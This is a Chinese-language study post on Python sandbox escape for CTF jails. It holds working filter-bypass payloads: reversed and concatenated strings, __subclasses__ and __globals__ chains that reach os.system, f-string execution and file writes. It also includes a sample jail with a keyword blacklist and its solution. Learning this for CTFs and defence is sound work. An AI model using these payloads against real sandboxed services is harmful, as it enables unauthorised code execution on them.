主要总结和学习一下Python沙箱逃逸。

Python沙箱逃逸

前置知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__name__ 是属于 python 中的内置类属性,就是它会天生就存在于一个 python 程序中,代表对应程序名称。
自己的__name__在自己用时就是 main,当自己作为模块被调用时就是自己的名字
一段程序作为主线运行程序时其内置名称就是 __main__
print(__name__) #main

id()函数返回对象的唯一标识符,标识符是一个整数。CPython 中id()函数用于获取对象的内存地址。
print(id(max)) #2964786132208

print('whoami'[::-1])#imaohw反转

getattr() 函数用于返回一个对象属性值。获取对象属性后返回值可直接使用:

Python中is与==的使用区别
==是比较两个对象的内容是否相等,即两个对象的“值“”是否相等,不管两者在内存中的引用地址是否一样。
is比较的是两个实例对象是不是完全相同,它们是不是同一个对象,占用的内存地址是否相同。is比较两个条件:1.内容相同。2.内存中地址相同

reload() 用于重新载入之前载入的模块。在Python2.x版本中reload()是内置函数,可以直线使用,参见Python2.xreload()函数。在Python2.x~ Python3.3版本移到imp包中(Python2.x 也可以导入 imp 包使用),Python3.4 之后到版本移到了importlib包中。

__class__功能和type()函数一样,都是查看对象所在的类。__class__可以套用
__bases__和__bases__都是内置函数, 用来查看类的继承关系

__subclasses__()查看类的直接子类集合,获取类的所有子类

__globals__['__file__']获取当前的代码所在的文件名

enumerate() 函数用于将一个可遍历的数据对象(如列表、元组或字符串)组合为一个索引序列,同时列出数据和数据下标,一般用在 for 循环当中。Python 2.3. 以上版本可用,2.6 添加 start 参数。

__dict__ 是类的内置属性,用于以字典的形式存储类里的属性,也就是存储那些 self.xxx 的属性

版本区别

  • import

在python中有时候需要从模块中导入函数,常用语法包括:

1
2
3
4
1. import somemodule
2. from somemodule import somefunction
3. from somemodule import somefunction, anotherfunction, yetanotherfunction
4. from somemodule import *

如果在不同的模块中有同名函数,也可以使用as来给整个模块加一个别名或给模块的方法加一个别名

1
2
>>> import math as foobar
>>> foobar.sqrt(4)#2.0
  • 整数除法
1
2
3
4
print (1/3)									#python2输出0,python3输出0.3333333333333333
修改
from __future__ import division
print (1/3) #python2输出0.333333333333,python3输出0.3333333333333333
  • print语句
1
2
3
4
5
6
7
8
9
python2的语法支持print(‘hello’)	同时支持print ‘hello’	但是不支持print('hello', end='\n')
python3的语法支持print(‘hello’) 但不支持print ‘hello’ 可以支持print('hello', end='\n')

print('hello', end='\n') #python3正常输出,python2报错
修改
from __future__ import print_function
print('hello', end='\n') #python3正常输出,python2正常输出

Python 2.7可以通过 __future__ 将2.7版本中的print语句移除,让你可以使用Python3.X的print()函数的形式打印输出
函数区别 python3 python2
input() 接收任意数据类型 只支持正确的数值类型
raw_input() 没有此函数 数值和字符串,不能直接识别字符串
除法 不考虑除数或被除数里有一个是浮点型 必须是除数或被除数里面有一个是浮点型,在整除时才会出现小数;否则就成了整除

future语句

__future__

1
2
3
4
5
6
7
8
9
10
11
官方描述:https://docs.python.org/2.7/library/__future__.html官方描述
__future__是一个模块而非单独的函数,引用主要有 3 个原因:
1.避免混淆已有的分析 import 语句并查找 import 的模块的工具。
2.确保 future 语句 在 2.1 之前的版本运行时至少能抛出 runtime 异常(import __future__ 会失败,因为 2.1 版本之前没有这个模块)。
3.当引入不兼容的修改时,可以记录其引入的时间以及强制使用的时间。这是一种可执行的文档,并且可以通过 import __future__ 来做程序性的检查。

概括:某个版本中出现了某个新的功能特性,而且这个特性和当前版本中使用的不兼容,也就是它在该版本中不是语言标准,那么我如果想要使用的话就需要从__future__模块导入。在2.1版本之前并没有__future__,所以使用它会引发异常。当然,在以后的某个版本中,比如说3中,某个特性已经成为标准的一部分,那么使用该特性就不用从__future__导入了。

目的:关于版本的问题,__future__目的是把下一个版本的特性导入到当前版本,这样我们就可以在当前版本中测试一些新版本的特性,从而使得python未来版本的迁移更加容易。是为了在老版本的Python代码中兼顾新特性的一种方法。从python2.1开始,当一个新的语言特性首次出现在发行版中时,如果该新特性与旧版本的python不兼容,则该新特性默认会被禁用。

作用:future语句是一种针对编辑器的指令,指明某个特定模块应当使用在某个python发行版中成为标准特性的语法或语义。

模块细节

__builtin__和__builtins__

1
主要是以Python 2.7为例,因为在Python 3+中,__builtin__模块被命名为builtins
  • 命名空间
1
2
3
4
5
6
7
8
9
10
11
12
所谓命名空间,其实指的是变量名称(标识符)到对象的映射。在一个正常的Python程序的执行过程中,至少存在两个命名空间:
*全局命名空间*:一般由在程序的全局变量和它们对应的映射对象组成,存放的是当前py文件中(除去函数、类内部的)变量与值的对应关系以及函数名与函数的内存地址的对应关系。
*内建命名空间*:在函数内部由函数局部变量和它们对应的映射对象组成,存放的是一些内置函数,比如input,print,list,len等。
如果定义了函数,则还会有局部命名空间,存放的是函数内部的变量与值的对应关系。
当一个函数被调用时,开辟局部命名空间,当函数执行结束后,局部命名空间消失。
如果一个函数被调用多次,则每调用一次,都要重新开辟局部命名空间。


作用域可以分为两个作用域分别是全局作用域和局部作用域。
全局作用域:全局命名空间+内置命名空间
局部作用域:局部命名空间
局部作用域可以引用全局作用域的变量。但不能修改全局作用域的变量。
  • 内建函数
1
2
3
4
在启动Python解释器之后,即使没有创建任何的变量或者函数,还是会有许多函数可以使用,比如max,dir等函数:
把这些函数称为内建函数,因为不需要作任何定义,在启动Python解释器的时候,就已经导入到内存当中供我们使用
print(max) #<built-in function max>
print(dir) #<built-in function dir>
  • dir函数(dir([object]))
1
2
3
4
5
6
不带参数时,返回当前范围内的变量、方法和定义的类型列表
带参数时,返回参数的属性、方法列表。
如果参数包含方法__dir__(),该方法将被调用。如果参数不包含__dir__(),该方法将最大限度地收集参数信息。
参数说明:object -- 对象、变量、类型
dir() #获得当前模块的属性列表
dir([ ]) #查看列表的方法
  • 内建命名空间与__builtins__
1
2
3
4
5
6
7
8
其实准确地来说,是Python解释器在启动的时候会首先加载内建命名空间,内建命名空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身(注意区分函数名称和函数对象的区别)。

这些命名空间由__builtins__模块中的名字构成:
print(dir()) #Python 2.7运行得到['__builtins__', '__doc__', '__file__', '__name__', '__package__']
可以看到有一个__builtins__的模块名称,这个模块本身定义了一个命名空间,即内建命名空间:

dir这个内建命名空间
print(dir(__builtins__)) #得到内建函数的名称,如list、dict等,当然还有一些异常和其它属性。
  • __builtins__与__builtin__
1
2
3
4
5
6
7
8
9
10
11
12
13
既然内建命名空间由__builtins__模块中的命名空间定义,那么是不是也意味着内建命名空间中所对应的这些函数也是在__builtins__模块中实现的呢?
print(__builtins__) #得到<module '__builtin__' (built-in)>
从结果中可以看到,__builtins__其实还是引用了__builtin__模块而已,这说明真正的模块是__builtin__

也就是说,前面提到的内建函数其实是在内建模块__builtin__中定义的,即__builtins__模块包含内建命名空间中内建名字的集合(因为它引用或者说指向了__builtin__模块),而真正的内建函数、异常和属性来自__builtin__模块。
也就是说,在Python中,其实真正是只有__builtin__这个模块,并不存在__builtins__这个模块:

import __builtin__
import __builtins__
>>> ImportError: No module named __builtins__
可以看到,导入__builtin__模块并没有问题,但导入__builtins__模块时就会提示不存在

在Python中并没有__builtins__这个模块,只有__builtin__模块,__builtins__模块只是在启动Python解释器时,解释器为我们自动创建的一个到__builtin__模块的引用
  • 更深层次的区别
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(1)在主模块__main__中

import __builtin__
print(__builtin__,id(__builtin__)) #(<module '__builtin__' (built-in)>, 51100264L)
print(__builtins__,id(__builtin__)) #(<module '__builtin__' (built-in)>, 51100264L)
__builtins__与__builtin__是完全一样的,它们指向的都是__builtin__这个内建模块

可以看到,这时候__builtins__和__builtin__是完全一样的,它们都指向了同一个模块对象,其实这也是Python中引用传递的概念。
其实这种情况跟我们创建一个变量并对它做一次引用传递时的情况是一样的,可以做如下测试:
def func():
print ('test')
funcs=func
print(func,func.__name__,id(funcs)) #<function func at 0x000002962FFCD550> func 2844073448784
print(funcs,funcs.__name__,id(funcs)) #<function func at 0x000002962FFCD550> func 2844073448784
print(funcs == func,funcs is func) #True True

(2)不在主模块__main__中
如果不是在主模块中使用__builtins__,这时候,__builtins__只是对__builtin__.__dict__的一个简单引用而已,可以通过下面的测试来验证说明。
先创建一个test.py,后面我们需要在Python交互器中导入它,那么这时候对于test模块来说,它就不是主模块了。如下:
import __builtin__

print('Module name:', __name__) #('Module name:', 'test')
print( __builtin__ == __builtins__,__builtin__ is __builtins__) #(False, False)
print(id(__builtin__),id(__builtins__)) #(50772584L, 50815320L)
print(__builtin__.__dict__ == __builtins__,__builtin__.__dict__ is __builtins__) #(True, True)
print(id(__builtin__.__dict__),id(__builtins__)) #(50815320L, 50815320L)

然后直接import test,就能看到输出
可以看到输出的结果跟我们想的是完全一样的,即这时候__builtins__其实是对__builtin__.__dict__模块的引用。
  • 总结
1
2
3
4
如果是在主模块__main__中,__builtins__直接引用__builtin__模块,此时模块名__builtins__与模块名__builtin__指向的都是同一个模块,即<builtin>内建模块(这里要注意变量名和对象本身的区别)
如果不是在主模块中,那么__builtins__只是引用了__builtin__.__dict__

默认情况下,在__main__模块中时,__builtins__是内置模块__builtin__(注意:没有's');在任何其他模块中时,是模块本身字典的 __builtins__别名

python的LEGB

Python的命名空间是一个字典,字典内保存了变量名称与对象之间的映射关系,因此,查找变量名就是在命名空间字典中查找键-值对。

我们已经知道了多个命名空间可以独立存在,而且可以在不同的层次上包含相同的变量名。作用域定义了Python在哪一个层次上查找某个变量名对应的对象。

接下来的问题就是:Python在查找‘名称-对象’映射时,是按照什么顺序对命名空间的不同层次进行查找的?

答案就是:使用的是LEGB规则,表示的是Local -> Enclosed -> Global -> Built-in,其中的箭头方向表示的是搜索顺序。

LEGB含义解释:

L-Local(function) 函数内的名字空间,可能是在一个函数或者类方法内部。

E-Enclosing (function locals) 外部嵌套函数的名字空间,可能是嵌套函数内,比如说 一个函数包裹在另一个函数内部。

G-Global(module) 函数定义所在模块(文件)的名字空间,查找全局作用域

B-Builtin(Python) Python内置模块的名字空间,内置作用域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python
# encoding: utf-8
x = 1
def foo():
x = 2
def innerfoo():
#x = 3
print('locals ', x)
innerfoo()
print('enclosing function locals ', x)
foo()
print('global ', x)

输出:
locals 3
enclosing function locals 2
global 1

注释x = 3后
locals 2
enclosing function locals 2
global 1


def innerfoo() Local即函数内部命名空间;
def foo() Enclosing function locals外部嵌套函数的名字空间
module(文件本身) Global(module)函数定义所在模块(文件)的名字空间
Python内置模块的名字空间 Builtin

如果某个变量名称与对象之间的映射在局部(Local)中没有找到,接下来就会在函数内部再次定义一个函数(Enclosed)进行搜索,如果函数内部再次定义一个函数也没有找到,然后就会到全局(Global)命名空间中进行查找,最后会在内建(Built-in)命名空间搜索(注:如果一个名称在所有命名空间中都没有找到,就会产生一个NameError)。

命令执行的函数

python支持命令执行的方式有下面几个例子

1
2
3
4
5
6
7
8
eval			#eval('__import__("os").system("dir")')
os #os.system(“dir”)或者os.popen('whoami').read()
commands #仅限python2.x
subprocess #subprocess.run('whoami')
timeit #timeit.timeit("__import__('os').system('whoami')", number=1)
platform #platform.popen('whoami').read() #python2写法,python3无效
pty #pty.spawn('ls') #window无效
bdb、cgi等等还有其他的方式

花里胡哨的姿势

花式import

首先可以知道常用的是import os,虽然可以直接过滤import os,但是可以通过import os中间添加空格绕过,如果空格也被过滤了,可以使用下面的方式绕过

1
importlib.import_module('os').system('whoami')

而且可以知道import其本质就是把一个库导入,这样我们可以用with或者execfile等函数可以把文件打开但是需要知道文件的路径。

如果可以用sys可以看下面可以方法

1
2
import sys
print(sys.path)

sys.path是python的搜索模块的路径集,是一个list, sys.path 变量的初始值来自:

  • 输入脚本的目录(当前目录)。
  • 环境变量 PYTHONPATH 表示的目录列表中搜索(这和 shell 变量 PATH 具有一样的语法,即一系列目录名的列表)。
  • Python 默认安装路径中搜索。
    实际上,解释器由 sys.path 变量指定的路径目录搜索模块,该变量初始化时默认包含了输入脚本(或者当前目录), PYTHONPATH 和安装目录。这样就允许 Python程序了解如何修改或替换模块搜索目录。

轻量级的文件查找

1
2
3
4
5
6
7
8
9
10
import os
a=input('请输入想要查找的磁盘:')+':/'
b=input('请输入想要查找的文件名和后缀:')#os.py
for root,dirs,files in os.walk(a,topdown=True):
if b in files:
print(root)
continue
else:
pass
print("查找完毕")

绕过import

1
importlib.import_module('os').system('whoami')
1
2
3
4
with open(r"C:\Users\30261\new\python\python3.9\Lib\site-packages\gevent\os.py",'r') as f:
exec(f.read())
system('whoami')
#此方法需要知道os.py的路径,python2和python3都可以支持
1
2
3
execfile(r'C:\Users\30261\new\python\python3.9\Lib\site-packages\gevent\os.py')
system('whoami')
##此方法需要知道os.py的路径,execfile仅支持python2,python3没有这个函数

花式处理字符串

代码中要是出现 os,直接不让运行。那么可以利用字符串的各种变化来引入 os:

1
print(__import__('so'[::-1]).system('whoami'))						#逆序
1
2
a,b='o','s'
print(__import__(a+b).system('whoami')) #变量拼接

也可以使用eval、exec 都是相当危险的函数,exec 比 eval 还要危险

1
print(eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]))				#eval绕过
1
print(exec(')"imaohw"(metsys.so ;so tropmi'[::-1]))					#exec绕过

上面提到了逆序、变量拼接,同样也可以使用base64、hex、rot13等其他方式

1
print(__import__('b3M='.decode('base64')).system('whoami'))			#base64绕过,python2

绕过sys.modules

sys.modules是一个全局字典,该字典是python启动后就加载在内存中。每当程序员导入新的模块,sys.modules都将记录这些模块。字典sys.modules对于加载模块起到了缓冲的作用。

当某个模块第一次导入,字典sys.modules将自动记录该模块。当第二次再导入该模块时,python会直接到字典中查找,从而加快了程序运行的速度。字典sys.modules具有字典所拥有的一切方法,可以通过这些方法了解当前的环境加载了哪些模块

有些库例如 os是默认被加载进来的,但是不能直接使用,原因在于sys.modules中未经import加载的模块对当前空间是不可见的。

如果将 os 从 sys.modules 中剔除,os 就彻底没法用了:

1
2
3
4
import sys
sys.modules['os'] = 'not allowed'
import os
os.system('whoami') #报错AttributeError: 'str' object has no attribute 'system'

此处这里不能用 del sys.modules['os'],因为当import一个模块时:import A,检查 sys.modules 中是否已经有A,如果有则不加载,如果没有则为A创建 module 对象,并加载 A。所以删了 sys.modules['os'] 只会让 Python 重新加载一次 os。
然后针对上面的方法的绕过方式为

1
2
3
4
5
import sys
sys.modules['os'] = 'not allowed'
del sys.modules['os']
import os
os.system('whoami') #绕过成功
1
2
3
同时也可以使用__builtins__绕过:
print(__builtins__.__dict__['__import__']('os').system('whoami'))
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')

花式执行函数

通过上面内容我们很容易发现,引入 os 只不过是第一步,如果把 system 这个函数干掉,也没法通过os.system执行系统命令,并且这里的system也不是字符串,也没法直接做编码等等操作。比如直接去os.py直接把system函数删掉或者直接过滤system函数

通过上面命令执行的函数列表可以知道可以通过,下面等多种方式绕过:

1
print(os.popen('whoami').read())
1
print(timeit.timeit("__import__('os').system('whoami')", number=1))

或者可以使用getattr 拿到对象的方法、属性

1
2
import os
getattr(os, 'metsys'[::-1])('whoami')

不用import的绕过

1
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
1
与 getattr 相似的还有 __getattr__、__getattribute__,它们自己的区别就是getattr相当于class.attr,都是获取类属性/方法的一种方式,在获取的时候会触发__getattribute__,如果__getattribute__找不到,则触发__getattr__,找不到则报错。

继承关系逃逸

Python类是支持(多)继承的,一个类的方法和属性可能定义在当前类,也可能定义在基类。针对这种情况,当调用类方法或类属性时,就需要对当前类以及它的基类进行搜索,以确定方法或属性的位置,而搜索的顺序就称为方法解析顺序。

方法解析顺序(Method Resolution Order),简称 MRO。对于只支持单继承的编程语言来说,MRO 很简单,就是从当前类开始,逐个搜索它的父类;而对于 Python,它支持多继承,MRO 相对会复杂一些。

实际上,Python 发展至今,经历了以下 3 种 MRO 算法,分别是:

  • 自左向右的深度优先搜索算法

  • 自左向右的广度优先搜索算法

  • 自 Python 2.3 版本,对新式类采用了 C3 算法。由于 Python 3.x 仅支持新式类,所以该版本只使用 C3 算法。

2.2 之前是经典类,搜索是深度优先;经典类后来发展为新式类,使用广度优先搜索,再后来新式类的搜索变为 C3 算法;而 Python 3.x 仅支持新式类,所以该版本只使用 C3 算法。

MRO就是方法解析顺序,因为 Python 支持多重继承,所以就必须有个方式判断某个方法到底是 A 的还是 B 的。虽然判断继承方式不太合理,但是python的新式类都有个属性,叫__mro__,是个元组,记录了继承关系:

1
python支持多重继承,在解析父类的__init__时,定义解析顺序的是子类的__mro__属性,内容为一个存储要解析类顺序的元组。
1
2
3
#__class__功能和type()函数一样,都是查看对象所在的类。并且__class__可以套用
print(''.__class__.__mro__) #(<class 'str'>, <class 'object'>) #''属于str类,它继承了object类
print(().__class__.__mro__) #(<class 'tuple'>, <class 'object'>) #()属于tuple类,它继承了object类

类的实例在获取 __class__ 属性时会指向该实例对应的类。可以看到,''属于 str类,它继承了 object 类,这个类是所有类的超类。具有相同功能的还有__base____bases__。需要注意的是,经典类需要指明继承 object 才会继承它,否则是不会继承的:

1
2
3
4
#__bases__和__bases__都是内置函数, 用来查看类的继承关系
class test:
pass
print(test.__base__,'\t',test.__bases__) #<class 'object'> (<class 'object'>,)

由于没法直接引入 os,那么假如有个库叫oos,在oos中引入了os,那么我们就可以通过__globals__拿到 os(__globals__是函数所在的全局命名空间中所定义的全局变量)。例如,site 这个库就有 os

1
2
import site
print(site.os) #<module 'os' from 'C:\\Users\\30261\\new\\python\\python3.9\\lib\\os.py'>

可以在site中看到import os字样,也就是说,能引入site的话,就相当于有 os。

那如果site也被禁用了呢?可以利用 reload,变相加载 os

1
2
3
4
5
import site

# print(os) #报错
os=reload(site.os)
print(os.system("whoami"))

同时可以看到所有的类都继承了object

1
2
().__class__.__bases__[0].__subclasses__()
从代码上我们比较好理解,就是从()找到它的父类也就是__bases__[0],而这个父类就是Python中的根类<type 'object'>,它里面有很多的子类,包括file等,这些子类中就有跟os、system等相关的方法,所以,我们可以从这些子类中找到自己需要的方法。

那么我们先用__subclasses__看看object的子类,以 2.x 为例:

1
2
3
4
5
6
print(().__class__.__mro__[-1].__subclasses__())

for i in enumerate(().__class__.__mro__[-1].__subclasses__()):print(i)
#(136, <class '_sitebuiltins.Quitter'>)(137, <class '_sitebuiltins._Printer'>) #python3结果
#(72, <class 'site._Printer'>)(73, <class 'site._Helper'>) #python2结果
#enumerate() 函数用于将一个可遍历的数据对象(如列表、元组或字符串)组合为一个索引序列,同时列出数据和数据下标,

可以看到,site 就在里面,以 python2.7 的site._Printer为例:

1
2
print(().__class__.__mro__[-1].__subclasses__()[72]._Printer__setup.__globals__['os'])
#<module 'os' from 'C:\Users\30261\new\python\python2.7\lib\os.pyc'> #python2结果
1
2
print(dir(().__class__.__mro__[-1].__subclasses__()[72]))
#可以看到_Printer__setup属性

可以看到同样也能得到os.pyc。同时在 site 中还有 __builtins__

这个方法不仅限于 A->os,还阔以是 A->B->os,比如 2.x 中的 warnings

1
2
3
4
import warnings
#print(warnings.os) #报错
print(warnings.linecache) #<module 'linecache' from '\python2.7\lib\linecache.pyc'>
print(warnings.linecache.os) #<module 'os' from 'C:\Users\30261\new\python\python2.7\lib\os.pyc'>

然后化简一下继承链

1
2
3
4
5
6
# print(().__class__.__mro__[-1].__subclasses__())
# print(dir(().__class__.__mro__[-1].__subclasses__()[59]))
# print(().__class__.__mro__[-1].__subclasses__()[59].__init__)
# print(().__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'])
# print(().__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'])
print(().__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami'))

同时在warnings这个库中有个函数:warnings.catch_warnings,它有个_module属性

所以通过_module也可以构造 payload:

1
print(().__class__.__mro__[-1].__subclasses__()[60]()._module.linecache.os.system('whoami'))

或者也可以利用循环来自动寻找

1
2
3
[x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')

[x for x in ().__class__.__mro__[-1].__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')

3.x 中的warnings虽然没有 linecache,也有__builtins__

同样,py3.x 中有<class 'os._wrap_close'>,利用方式可以为

1
2
3
4
5
6
7
# print(().__class__.__mro__[-1].__subclasses__())
# print(().__class__.__mro__[-1].__subclasses__()[134])
# print(dir(().__class__.__mro__[-1].__subclasses__()[134].__init__.__globals__))
# print(().__class__.__mro__[-1].__subclasses__()[134].__init__)
# print(().__class__.__mro__[-1].__subclasses__()[134].__init__.__globals__)
# print(().__class__.__mro__[-1].__subclasses__()[134].__init__.__globals__['system'])
print(().__class__.__mro__[-1].__subclasses__()[134].__init__.__globals__['system']("whoami"))

可以看到前面几个利用方式前面的部分片段都是一样的,都是用().__class__.__mro__[-1]去定位<class ‘object’>,所以可以简化为

1
2
3
print(object.__subclasses__()[60]()._module.linecache.os.system('whoami'))			#python2

print(object.__subclasses__()[134].__init__.__globals__['system']("whoami")) #python3

还有一种就是利用builtin_function_or_method__call__

1
2
3
4
5
6
for i in enumerate(().__class__.__mro__[-1].__subclasses__()):print(i)
#(37, <class 'builtin_function_or_method'>)
# print(().__class__.__mro__[-1].__subclasses__())
# print(().__class__.__mro__[-1].__subclasses__()[37])
# print(dir(().__class__.__mro__[-1].__subclasses__()[37].__call__))
print(().__class__.__mro__[-1].__subclasses__()[37].__call__(eval, '__import__("os").system("whoami")'))

同样可以化简为

1
2
3
print(object.__subclasses__()[37].__call__(eval, '__import__("os").system("whoami")'))

print([].__getattribute__('append').__class__.__call__(eval, '__import__("os").system("whoami")'))

还有就是利用定义类调用super

1
2
3
4
5
6
7
8
class test(dict):
def __init__(self):
#python2
print(super(test, self).keys.__class__.__call__(eval, '__import__("os").system("whoami")'))
#如果是 3.x 的话可以简写为:
print(super().keys.__class__.__call__(eval, '__import__("os").system("whoami")'))
# super().keys.__class__.__call__(eval, '__import__("os").system("whoami")'))
test()

还有一些比较奇特的payload

1
2
print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("whoami").read()' ))						#python2
print(().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['popen']('who'+'ami').read()) #变体
  • 总结

首先就是通过__class____mro____subclasses____bases__等等属性/方法去获取 object

再根据__globals__找引入的__builtins__或者eval等等能够直接被利用的库,

或者找到builtin_function_or_method类/类型__call__后直接运行eval

读写文件

读文件常用用到的方法有open、read、readline、readlines、write、file(python2)

还有一些不太常用types.FileType(rw)、platform.popen(rw)、linecache.getlines(r)

读文件

危害不大,主要就是可以用来读flag之类的

1
2
3
4
5
6
7
8
9
print(file("filename").read())
或者
import types
print(types.FileType("filename").read())
或者
with open("C:\Windows\win.ini") as f :print(f.readlines())
或者
print(().__class__.__bases__[0].__subclasses__()[40]('filename').read()) #python2

读文件暂时没什么发现特别的地方。

写文件

危害比较大因为如果可以写进入,然后就能被调用或者输出

1
2
3
4
5
6
7
8
9
file('filename', 'w').write('写入的内容')
或者
test.py:
import os
print(os.system('whoami'))
然后在另一个文件中执行import test就能执行命令了
或者
().__class__.__bases__[0].__subclasses__()[40]('filename', 'w').write('写入的内容')#python2

这里需要注意的是,这里 py 文件命名是有技巧的。

之所以要挑一个常用的标准库是因为过滤库名可能采用的是白名单。并且之前说过有些库是在sys.modules中有的,这些库无法这样利用,会直接从sys.modules中加入,比如re

由于待测试的库中有个叫 test的,如果把遍历测试的文件也命名为 test,会导致那个文件运行 2 次,因为自己 import 了自己。

剩下的就是根据上面的执行系统命令采用的绕过方法去寻找 payload 了,比如:

1
2
3
4
import test
print(__builtins__.open(test).read())
或者
().__class__.__base__.__subclasses__()[40]('key').read()

补充

  • 过滤[]

应对的方式就是将[]的功能用pop__getitem__ 代替(实际上a[0]就是在内部调用了a.__getitem__(0)

1
print(''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read())					#python2
  • 利用新特性

PEP 498 引入了 f-string,在 3.6 开始出现

1
格式化字符串文字或f -string是前缀为'f'or的字符串文字'F'。这些字符串可能包含替换字段,它们是由花括号分隔的表达式{}。虽然其他字符串文字总是有一个常量值,但格式化字符串实际上是在运行时评估的表达式。
1
print( f'{__import__("os").system("whoami")}')
  • 序列化

等更新吧

例题

比赛的时候,遇到一个题目python2写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python 
from __future__ import print_function
print("=========================")
print(" WELCOME TO FOOBAR JAIL ")
print("=========================")
blacklist = [
"import",
"exec",
"eval",
"os",
"pickle",
"subprocess",
"input",
"blacklist",
"sys",
"ls",
"cat",
"echo",
"la",
"flag",
"tac",
"grep",
"find"]
builtin = __builtins__.__dict__.keys()
builtin.remove('raw_input')
builtin.remove('print')
for modules in builtin:
del __builtins__.__dict__[modules]
while 1 == 1:
try:
print(">>>", end=' ')
val = raw_input()
for word in blacklist:
if word.lower() in val.lower():
print("Sorry!! You cannot use that here.")
break
else:
print("4566.")
exec val
except:
print ("What are you doing ? :(")
continue

payload

1
print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('who'+'ami'))

攻击总结

1、注意题目为python2还是python3的环境,其对应的库会有很大的差距,但总体来说,python27有的,python3都有,但需要改变相应下标

2、曲径通幽,最终获得你想要的模块,认真找慢慢翻,比如从().__class__.__bases__[0].__subclasses__() 出发,查看可用的类

  • 若类中有file,考虑读写操作
  • 若类中有<class ‘warnings.WarningMessage’>,考虑从.__init__.func_globals.values()[13]获取eval,map等等;又或者从.__init__.func_globals[linecache] 得到os
  • 若类中有<type ‘file’>,<class ‘ctypes.CDLL’>,<class ‘ctypes.LibraryLoader’>,考虑构造so文件
    其他的相关关键字可以搜索魔法函数,会对魔法函数有更多的理解

3、分析ban函数的时候考虑使用字符串拼接结合__getattribute__绕过;当然也可以考虑加解密或者字符拼接来进行绕过

4、执行任意命令不仅仅只有os.system还有前面提到的多种方法

5、注意一种简单题型,出题者只做了如下一些处理:

1
2
3
4
>>> del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
>>> del __builtins__.__dict__['eval'] # evaluating code could be dangerous
>>> del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
>>> del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous

看起来好像已经非常安全是么?但是,reload(module) 重新加载导入的模块,并执行代码。所以模块被导回到我们的命名空间。

6、模块导入方式有

  • 最直接的import.
  • 内置函数 import
  • importlib库
1
2
import importlib
importlib.import_module('os').system('whoami')